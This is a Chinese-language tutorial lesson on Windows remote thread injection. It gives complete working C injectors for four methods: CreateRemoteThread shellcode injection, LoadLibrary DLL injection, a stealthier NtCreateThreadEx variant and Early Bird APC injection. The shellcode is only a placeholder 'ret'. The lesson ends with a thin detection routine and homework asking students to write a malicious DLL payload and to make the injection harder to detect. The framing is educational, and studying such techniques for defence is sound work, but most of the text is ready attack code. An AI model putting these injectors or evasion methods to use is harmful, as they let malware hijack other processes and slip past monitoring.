Inject专题

1、远程线程注入

1、课程目标

  1. 理解远程线程注入的基本原理
  2. 掌握CreateRemoteThread API的使用方法
  3. 实现完整的远程线程注入技术
  4. 了解该技术的检测与防护方法

2、名词解释

术语 全称 解释
Remote Thread Injection 远程线程注入 在目标进程中创建线程来执行代码的技术
CreateRemoteThread - Windows API,用于在远程进程中创建线程
VirtualAllocEx - 在远程进程地址空间中分配内存
WriteProcessMemory - 向远程进程内存中写入数据
Thread Context 线程上下文 线程的寄存器状态和执行环境

3、技术原理

1. 远程线程注入概述

远程线程注入是一种在目标进程中执行任意代码的技术。通过在目标进程中创建新的线程,攻击者可以在该进程中执行自己的代码。

注入流程:
┌──────────────────────────────────────────────────────┐
│                     注入者进程                        │
│  1. OpenProcess() 获取目标进程句柄                    │
├──────────────────────────────────────────────────────┤
│  2. VirtualAllocEx() 在目标进程分配内存               │
├──────────────────────────────────────────────────────┤
│  3. WriteProcessMemory() 写入ShellCode               │
├──────────────────────────────────────────────────────┤
│  4. CreateRemoteThread() 创建远程线程执行ShellCode    │
└──────────────────────────────────────────────────────┘

目标进程:
┌──────────────────────────────────────────────────────┐
│  5. 新线程开始执行注入的代码                         │
│     (通常是ShellCode或DLL加载)                        │
└──────────────────────────────────────────────────────┘

2. 核心API详解

2.1 OpenProcess

HANDLE OpenProcess(
  DWORD dwDesiredAccess,  // 访问权限
  BOOL  bInheritHandle,   // 是否继承句柄
  DWORD dwProcessId       // 目标进程ID
);

常用权限组合:

  • PROCESS_CREATE_THREAD: 创建线程
  • PROCESS_VM_OPERATION: 虚拟内存操作
  • PROCESS_VM_WRITE: 写入内存
  • PROCESS_VM_READ: 读取内存
  • PROCESS_QUERY_INFORMATION: 查询进程信息

2.2 VirtualAllocEx

LPVOID VirtualAllocEx(
  HANDLE hProcess,        // 进程句柄
  LPVOID lpAddress,       // 分配地址(通常为NULL)
  SIZE_T dwSize,          // 分配大小
  DWORD  flAllocationType,// 分配类型
  DWORD  flProtect        // 内存保护
);

常用参数:

  • flAllocationType: MEM_COMMIT | MEM_RESERVE
  • flProtect: PAGE_EXECUTE_READWRITE

2.3 WriteProcessMemory

BOOL WriteProcessMemory(
  HANDLE  hProcess,       // 进程句柄
  LPVOID  lpBaseAddress,  // 写入地址
  LPCVOID lpBuffer,       // 数据缓冲区
  SIZE_T  nSize,          // 写入大小
  SIZE_T  *lpNumberOfBytesWritten // 实际写入字节数
);

2.4 CreateRemoteThread

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,          // 进程句柄
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,// 安全属性
  SIZE_T                 dwStackSize,       // 栈大小
  LPTHREAD_START_ROUTINE lpStartAddress,    // 线程入口
  LPVOID                 lpParameter,       // 参数
  DWORD                  dwCreationFlags,   // 创建标志
  LPDWORD                lpThreadId         // 线程ID
);

3、代码实现

1. 基础远程线程注入

// remote_thread_injection.cpp
// 基础远程线程注入实现

#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

// 简单的测试ShellCode (弹出消息框后退出)
unsigned char shellcode[] = {
    // 这里应该是一个完整的ShellCode
    // 为简化演示,我们使用一个简单的ret指令
    0xC3  // ret
};

//=============================================================================
// 方法1: 基础远程线程注入
//=============================================================================
BOOL BasicRemoteThreadInjection(DWORD targetPid, const void* code, SIZE_T codeSize) {
    printf("[*] Method 1: Basic Remote Thread Injection\n");
    printf("[*] Target PID: %lu\n", targetPid);
    
    // 1. 打开目标进程
    HANDLE hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | 
        PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,
        FALSE,
        targetPid
    );
    
    if (!hProcess) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return FALSE;
    }
    
    printf("[+] Process opened successfully\n");
    
    // 2. 在目标进程分配内存
    LPVOID remoteMem = VirtualAllocEx(
        hProcess,
        NULL,
        codeSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!remoteMem) {
        printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }
    
    printf("[+] Allocated remote memory at: %p\n", remoteMem);
    
    // 3. 写入ShellCode到目标进程
    SIZE_T bytesWritten;
    if (!WriteProcessMemory(
            hProcess,
            remoteMem,
            code,
            codeSize,
            &bytesWritten)) {
        printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    printf("[+] Written %zu bytes to remote process\n", bytesWritten);
    
    // 4. 创建远程线程执行ShellCode
    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)remoteMem,
        NULL,
        0,
        NULL
    );
    
    if (!hThread) {
        printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    printf("[+] Remote thread created successfully\n");
    
    // 5. 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);
    
    // 6. 清理资源
    CloseHandle(hThread);
    VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    
    printf("[+] Remote thread injection completed\n");
    return TRUE;
}

//=============================================================================
// 方法2: 使用LoadLibrary注入DLL
//=============================================================================
BOOL DllInjectionViaRemoteThread(DWORD targetPid, const wchar_t* dllPath) {
    printf("[*] Method 2: DLL Injection via Remote Thread\n");
    printf("[*] Target PID: %lu\n", targetPid);
    printf("[*] DLL Path: %ws\n", dllPath);
    
    // 1. 打开目标进程
    HANDLE hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | 
        PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,
        FALSE,
        targetPid
    );
    
    if (!hProcess) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return FALSE;
    }
    
    // 2. 获取LoadLibraryW地址
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    LPTHREAD_START_ROUTINE pLoadLibrary = 
        (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW");
    
    if (!pLoadLibrary) {
        printf("[-] GetProcAddress failed: %lu\n", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }
    
    printf("[+] LoadLibraryW address: %p\n", pLoadLibrary);
    
    // 3. 在目标进程分配内存存储DLL路径
    size_t dllPathSize = (wcslen(dllPath) + 1) * sizeof(wchar_t);
    LPVOID remoteDllPath = VirtualAllocEx(
        hProcess,
        NULL,
        dllPathSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );
    
    if (!remoteDllPath) {
        printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }
    
    printf("[+] Allocated memory for DLL path at: %p\n", remoteDllPath);
    
    // 4. 写入DLL路径到目标进程
    if (!WriteProcessMemory(
            hProcess,
            remoteDllPath,
            dllPath,
            dllPathSize,
            NULL)) {
        printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
        VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // 5. 创建远程线程调用LoadLibraryW
    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        pLoadLibrary,
        remoteDllPath,
        0,
        NULL
    );
    
    if (!hThread) {
        printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
        VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    printf("[+] Remote thread created to load DLL\n");
    
    // 6. 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);
    
    // 7. 清理资源
    CloseHandle(hThread);
    VirtualFreeEx(hProcess, remoteDllPath, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    
    printf("[+] DLL injection completed\n");
    return TRUE;
}

//=============================================================================
// 工具函数: 通过进程名获取PID
//=============================================================================
DWORD GetProcessIdByName(const wchar_t* processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }
    
    PROCESSENTRY32W pe;
    pe.dwSize = sizeof(pe);
    
    if (Process32FirstW(hSnapshot, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, processName) == 0) {
                CloseHandle(hSnapshot);
                return pe.th32ProcessID;
            }
        } while (Process32NextW(hSnapshot, &pe));
    }
    
    CloseHandle(hSnapshot);
    return 0;
}

//=============================================================================
// 主函数
//=============================================================================
int main() {
    printf("========================================\n");
    printf("     Remote Thread Injection Demo       \n");
    printf("========================================\n\n");
    
    // 示例1: 注入到记事本进程
    DWORD notepadPid = GetProcessIdByName(L"notepad.exe");
    if (notepadPid) {
        printf("[*] Found notepad.exe PID: %lu\n", notepadPid);
        BasicRemoteThreadInjection(notepadPid, shellcode, sizeof(shellcode));
    } else {
        printf("[-] notepad.exe not found, skipping basic injection demo\n");
    }
    
    printf("\n");
    
    // 示例2: DLL注入演示
    // 需要有一个实际的DLL文件
    // DllInjectionViaRemoteThread(notepadPid, L"C:\\temp\\test.dll");
    
    return 0;
}

2. 高级远程线程注入技术

//=============================================================================
// 方法3: 使用NtCreateThreadEx (更隐蔽)
//=============================================================================
typedef NTSTATUS (NTAPI* PFN_NTCREATETHREADEX)(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    PVOID ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartRoutine,
    PVOID Argument,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PVOID AttributeList
);

BOOL AdvancedRemoteThreadInjection(DWORD targetPid, const void* code, SIZE_T codeSize) {
    printf("[*] Method 3: Advanced Remote Thread Injection (NtCreateThreadEx)\n");
    
    // 1. 获取NtCreateThreadEx地址
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    PFN_NTCREATETHREADEX pNtCreateThreadEx = 
        (PFN_NTCREATETHREADEX)GetProcAddress(hNtdll, "NtCreateThreadEx");
    
    if (!pNtCreateThreadEx) {
        printf("[-] NtCreateThreadEx not found, falling back to CreateRemoteThread\n");
        return BasicRemoteThreadInjection(targetPid, code, codeSize);
    }
    
    // 2. 打开目标进程
    HANDLE hProcess = OpenProcess(
        PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | 
        PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION,
        FALSE,
        targetPid
    );
    
    if (!hProcess) {
        printf("[-] OpenProcess failed: %lu\n", GetLastError());
        return FALSE;
    }
    
    // 3. 分配和写入ShellCode (同基础方法)
    LPVOID remoteMem = VirtualAllocEx(
        hProcess, NULL, codeSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    if (!remoteMem) {
        CloseHandle(hProcess);
        return FALSE;
    }
    
    WriteProcessMemory(hProcess, remoteMem, code, codeSize, NULL);
    
    // 4. 使用NtCreateThreadEx创建线程
    HANDLE hThread = NULL;
    NTSTATUS status = pNtCreateThreadEx(
        &hThread,
        THREAD_ALL_ACCESS,
        NULL,
        hProcess,
        remoteMem,
        NULL,
        0,
        0,
        0,
        0,
        NULL
    );
    
    if (!hThread || status != 0) {
        printf("[-] NtCreateThreadEx failed: 0x%08X\n", status);
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    
    printf("[+] Thread created via NtCreateThreadEx\n");
    
    // 5. 清理
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
    CloseHandle(hProcess);
    
    return TRUE;
}

//=============================================================================
// 方法4: 早期鸟注入 (Early Bird Injection)
//=============================================================================
BOOL EarlyBirdInjection(const wchar_t* targetExe, const void* code, SIZE_T codeSize) {
    printf("[*] Method 4: Early Bird Injection\n");
    
    // 1. 以挂起状态创建目标进程
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    
    if (!CreateProcessW(
            targetExe,
            NULL,
            NULL,
            NULL,
            FALSE,
            CREATE_SUSPENDED,
            NULL,
            NULL,
            &si,
            &pi)) {
        printf("[-] CreateProcessW failed: %lu\n", GetLastError());
        return FALSE;
    }
    
    printf("[+] Created suspended process: %lu\n", pi.dwProcessId);
    
    // 2. 在目标进程分配内存并写入ShellCode
    LPVOID remoteMem = VirtualAllocEx(
        pi.hProcess,
        NULL,
        codeSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!remoteMem) {
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }
    
    WriteProcessMemory(pi.hProcess, remoteMem, code, codeSize, NULL);
    
    // 3. 创建APC使ShellCode在进程初始化时执行
    if (!QueueUserAPC((PAPCFUNC)remoteMem, pi.hThread, 0)) {
        printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
        VirtualFreeEx(pi.hProcess, remoteMem, 0, MEM_RELEASE);
        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return FALSE;
    }
    
    printf("[+] APC queued to main thread\n");
    
    // 4. 恢复线程执行
    ResumeThread(pi.hThread);
    
    printf("[+] Process resumed, APC should execute early\n");
    
    // 5. 清理
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    
    return TRUE;
}

3、检测与防护

1. 常见检测方法

检测方式 原理 绕过难度
API监控 监控CreateRemoteThread等敏感API调用
行为分析 分析进程间异常内存访问模式
内存扫描 扫描进程内存中的可疑代码
线程监控 监控异常线程创建活动

2. 防护措施

// 进程防护示例
#include <windows.h>
#include <psapi.h>

// 检测是否有远程线程注入
BOOL DetectRemoteThreadInjection() {
    // 枚举当前进程的所有线程
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return FALSE;
    }
    
    THREADENTRY32 te = { sizeof(THREADENTRY32) };
    DWORD currentPid = GetCurrentProcessId();
    
    if (Thread32First(hSnapshot, &te)) {
        do {
            // 检查是否为其他进程创建的线程
            if (te.th32OwnerProcessID == currentPid && 
                te.th32ThreadID != GetCurrentThreadId()) {
                // 可能是注入的线程
                printf("[WARNING] Suspicious thread detected: TID=%lu\n", 
                       te.th32ThreadID);
                CloseHandle(hSnapshot);
                return TRUE;
            }
        } while (Thread32Next(hSnapshot, &te));
    }
    
    CloseHandle(hSnapshot);
    return FALSE;
}

3、课后作业

3.1、作业1:实现进程名注入

扩展程序,支持通过进程名而不是PID进行注入。

3.2、作业2:添加DLL注入功能

结合远程线程技术,实现完整的DLL注入功能,包括:

  1. 创建恶意DLL
  2. 使用LoadLibrary注入
  3. 在DLL中实现有效载荷

3.3、作业3:实现隐蔽注入

使用NtCreateThreadEx或其他隐蔽技术实现更难被检测的注入。

4、参考资料

  1. Windows Internals, Part 1: System architecture, processes, threads, memory management, and more 2.《恶意代码分析实战》- Michael Sikorski & Andrew Honig
  2. MSDN文档: CreateRemoteThread, VirtualAllocEx, WriteProcessMemory